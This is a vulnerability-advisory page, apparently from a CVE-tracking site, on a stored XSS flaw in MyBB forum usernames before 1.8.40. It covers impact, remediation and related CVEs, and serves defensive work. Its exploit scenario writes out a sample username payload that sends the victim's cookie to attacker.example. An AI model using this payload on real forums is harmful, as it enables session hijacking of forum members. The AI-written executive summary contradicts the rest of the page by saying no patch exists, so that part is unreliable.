Skip to main content

MyBB CVE-2026-45115

| EUVDEUVD-2026-61005 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-18 GitHub_M
8.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register account with single-quote XSS username
  2. Delivery
    Establish buddy/contact relationship with victim
  3. Exploit
    Victim opens User CP Buddy list or composes Private Message
  4. Install
    Victim clicks attacker's username or confirms buddy removal
  5. C2
    Unescaped single quote breaks HTML attribute context
  6. Execute
    Injected JavaScript executes in victim's authenticated session
  7. Impact
    Session token or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid MyBB forum account (low-privilege registered user) with a username containing a single-quote-based JavaScript payload. The victim must have previously added the attacker's account to their buddy or ignore list (User CP flow), OR the attacker's account must appear in the Private Messages Select Buddies AJAX popup (xmlhttp.php flow). Exploitation requires one of two specific victim actions: clicking 'Yes' in the 'Please Confirm' removal dialog for a buddy/ignored user in usercp.php, or clicking the attacker's crafted username via its onclick handler in the Select Buddies popup. Limiting factors include: the victim must have a prior social relationship with the attacker's account for the User CP path, active and deliberate user interaction with these specific UI elements is required in both paths, and the attack is scoped to forum members only - unauthenticated visitors cannot trigger the payload.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N and score of 8.7 accurately model the attack profile: network-accessible, low complexity, low-privilege account required, user interaction needed, with a scope change into the victim's authenticated session. The PR:L barrier is practically negligible on most public MyBB forums where open registration is the default, making the effective attack surface closer to unauthenticated in many deployments. The UI:R requirement limits opportunistic mass exploitation but does not prevent targeted attacks - an adversary who can socially engineer a victim into interacting with a buddy list or Private Messages can reliably trigger the payload. No EPSS data was provided in the input, so statistical exploitation probability cannot be assessed. KEV status is negative and no POC has been published, reducing urgency relative to actively exploited vulnerabilities. Overall, this is a genuine priority for any public-facing MyBB installation, particularly community forums where untrusted users can register freely.

Exploit ScenarioDerived

An attacker registers a MyBB account with a username crafted to escape single-quote attribute context - for example, alice' onmouseover='fetch("https://attacker.example/steal?c="+document.cookie). After being added as a buddy by a victim user, the attacker waits for the victim to open their User CP, navigate to the Buddy/Ignore list, and click 'Yes' in the removal confirmation dialog - at which point the injected handler fires and exfiltrates the victim's session cookie. Alternatively, the attacker sends a private message to the victim; when the victim opens PM composition and the Select Buddies popup renders the crafted username via xmlhttp.php, the onclick handler triggers the payload. No public POC has been identified, but the technical details in the advisory are sufficient for independent reproduction.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 18, 2026

Stored cross-site scripting in MyBB's Buddy/Ignore component prior to version 1.8.40 allows authenticated attackers to inject arbitrary JavaScript by registering usernames that survive the htmlspecialchars_uni() sanitization pass with unescaped single quotes intact. The payload fires in the victim's browser during two specific user interactions: clicking 'Yes' in the removal confirmation dialog within usercp.php, or selecting the crafted username via the onclick handler in the xmlhttp.php Private Messages Select Buddies popup. With a CVSS 8.7 rating reflecting a scope change (C:H, I:H), successful exploitation can yield full session hijacking or unauthorized actions on behalf of the victim. No public exploit has been identified at time of analysis.

RemediationAI

Upgrade to MyBB 1.8.40 - the vendor-released patch confirmed at https://github.com/mybb/mybb/releases/tag/mybb_1840 and https://mybb.com/versions/1.8.40. This is the only definitive fix; the remediation targets the htmlspecialchars_uni() call sites in usercp.php and xmlhttp.php to ensure single quotes are escaped. If an immediate upgrade is not possible, operators should disable open registration and require admin approval for new accounts, raising the attacker's access prerequisite and reducing the pool of potential malicious usernames. As an additional compensating control, adding a Content Security Policy (CSP) header that restricts inline script execution can prevent injected payloads from executing even if triggered - though this may break MyBB's own inline JavaScript and requires testing. There is no configuration toggle to disable the Buddy/Ignore or Private Messages features individually without patching.

Affected VersionsENISA

MyBB < 1.8.40

Affected Packages

euvd mybb fix: 1.8.40

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MyBB is an open-source PHP forum platform (CPE: cpe:2.3:a:mybb:mybb:*:*:*:*:*:*:*:*). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). PHP's htmlspecialchars() - and by extension MyBB's htmlspecialchars_uni() wrapper - escapes double quotes and angle brackets but leaves single quotes unescaped unless the ENT_QUOTES flag is explicitly passed. Username values rendered inside single-quote-delimited HTML attribute contexts (e.g., onclick='action("USERNAME")') can therefore break out of the attribute boundary with a payload such as x' onmouseover='malicious(). The payload is exposed in two distinct rendering contexts: the confirmation dialog in usercp.php (Buddy/Ignore management) and the AJAX-driven Select Buddies popup served by xmlhttp.php in the Private Messages flow. Both contexts pass usernames through the insufficient sanitizer before injecting them into the DOM.

Know when Mybb gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

Attacker needs a registered account (PR:L), victim must actively interact with Buddy UI or PM popup (UI:R), JavaScript executes across scope boundary into victim session (S:C), enabling session hijacking (C:H, I:H); no server availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
Aug 18, 2026 - 17:17 EUVD
CVE Published
Aug 18, 2026 - 15:46 cve.org
HIGH 8.7

DescriptionCVE.org

MyBB is free and open source forum software. Prior to 1.8.40, the Buddy/Ignore component does not sanitize usernames correctly, allowing attackers to perform JavaScript code injection through a specially crafted username. The User CP Buddy/Ignore list and the Select Buddies list in Private Messages pass usernames through htmlspecialchars_uni(), which may leave single quotes unescaped. The payload is triggered when a victim chooses Yes in Please Confirm while removing the username in usercp.php, or selects the username through the onclick handler in the xmlhttp.php Select Buddies popup. The uniquely identifying implementation details include Private Messages Select Buddies list, and unescaped single quotes. This issue is fixed in version 1.8.40.

Executive ViewAI

Why It Matters

MyBB versions prior to 1.8.40 contain a stored cross-site scripting vulnerability in the Buddy/Ignore component that allows authenticated users to execute malicious scripts in other users' browsers, potentially enabling session hijacking and unauthorized account actions. Organizations running affected MyBB instances should immediately assess their exposure and implement compensating controls, as no vendor patch is currently available.

Business Impact: High
Compensating Controls

Implement enhanced input validation to reject usernames containing problematic single-quote patterns; harden output encoding for buddy list display in usercp.php and xmlhttp.php; consider disabling Buddy/Ignore functionality if not operationally critical; establish monitoring for suspicious buddy list additions and clicks; deploy web application firewall rules to detect and block XSS patterns if available; educate users not to interact with newly added buddies from untrusted sources pending patch availability.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Medium
popular open-source forum platform with established self-hosted install base
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Mybb

View all
CVE-2022-24734 HIGH POC
7.2 Mar 09

MyBB is a free and open source forum software. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitabl

CVE-2017-16780 CRITICAL POC
9.8 Nov 10

The installer in MyBB before 1.8.13 allows remote attackers to execute arbitrary code by writing to the configuration fi

CVE-2021-27946 HIGH POC
8.8 Mar 15

SQL Injection vulnerability in MyBB before 1.8.26 via poll vote count. Rated high severity (CVSS 8.8), this vulnerabilit

CVE-2021-27890 HIGH POC
8.8 Mar 15

SQL Injection vulnerablity in MyBB before 1.8.26 via theme properties included in theme XML files. Rated high severity (

CVE-2019-12830 HIGH POC
8.7 Jun 15

In MyBB before 1.8.21, an attacker can exploit a parsing flaw in the Private Message / Post renderer that leads to [vide

CVE-2026-58054 HIGH POC
8.6 Jun 28

Privilege escalation in MyBB 1.8.40 lets a limited Admin Control Panel (ACP) user who holds only the delegated user-mana

CVE-2017-7566 HIGH POC
7.7 Apr 06

MyBB before 1.8.11 allows remote attackers to bypass an SSRF protection mechanism. Rated high severity (CVSS 7.7), this

CVE-2014-9240 HIGH POC
7.5 Dec 03

SQL injection vulnerability in member.php in MyBB (aka MyBulletinBoard) 1.8.x before 1.8.2 allows remote attackers to ex

CVE-2025-29458 HIGH POC
7.6 Apr 17

An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Change Avatar function. Rated h

CVE-2025-29457 HIGH POC
7.6 Apr 17

An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Import a Theme function. Rated

CVE-2025-29459 HIGH POC
7.6 Apr 17

An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Mail function. Rated high sever

CVE-2013-6936 HIGH POC
7.5 Dec 04

Multiple SQL injection vulnerabilities in ajaxfs.php in the Ajax forum stat (Ajaxfs) Plugin 2.0 for MyBB (aka MyBulletin

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy